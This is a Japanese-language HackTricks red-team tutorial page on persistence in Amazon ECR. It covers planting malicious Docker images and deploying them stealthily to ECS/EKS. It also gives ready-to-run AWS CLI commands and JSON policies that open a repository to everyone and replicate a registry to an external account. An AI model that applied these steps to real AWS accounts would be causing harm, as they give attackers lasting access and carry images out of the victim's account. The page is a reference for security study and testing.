AWS - ECR Persistence

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

ECR

詳細については、以下を確認してください:

pageAWS - ECR Enum

悪意のあるコードを含む隠れたDockerイメージ

攻撃者は、ECRリポジトリに悪意のあるコードを含むDockerイメージをアップロードし、それを使用してターゲットAWSアカウントで持続性を維持することができます。その後、攻撃者は、Amazon ECSやEKSなどのアカウント内のさまざまなサービスに悪意のあるイメージをステルス的に展開できます。

リポジトリポリシー

単一のリポジトリにポリシーを追加し、自分自身(または誰でも)にリポジトリへのアクセス権を付与します:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ECRでは、ユーザーがAmazon ECRリポジトリからイメージをプッシュまたはプルする前に、IAMポリシーを介して**ecr:GetAuthorizationToken** APIに対して呼び出しを行う権限が必要です。

レジストリポリシー&クロスアカウントレプリケーション

外部アカウントでレジストリを自動的にレプリケートすることが可能であり、クロスアカウントレプリケーションを構成する際には、レプリケートしたい外部アカウントを指定する必要があります。

まず、レジストリポリシーを使用して、外部アカウントに対してレジストリへのアクセス権を付与する必要があります。

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

その後、レプリケーション構成を適用します:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

最終更新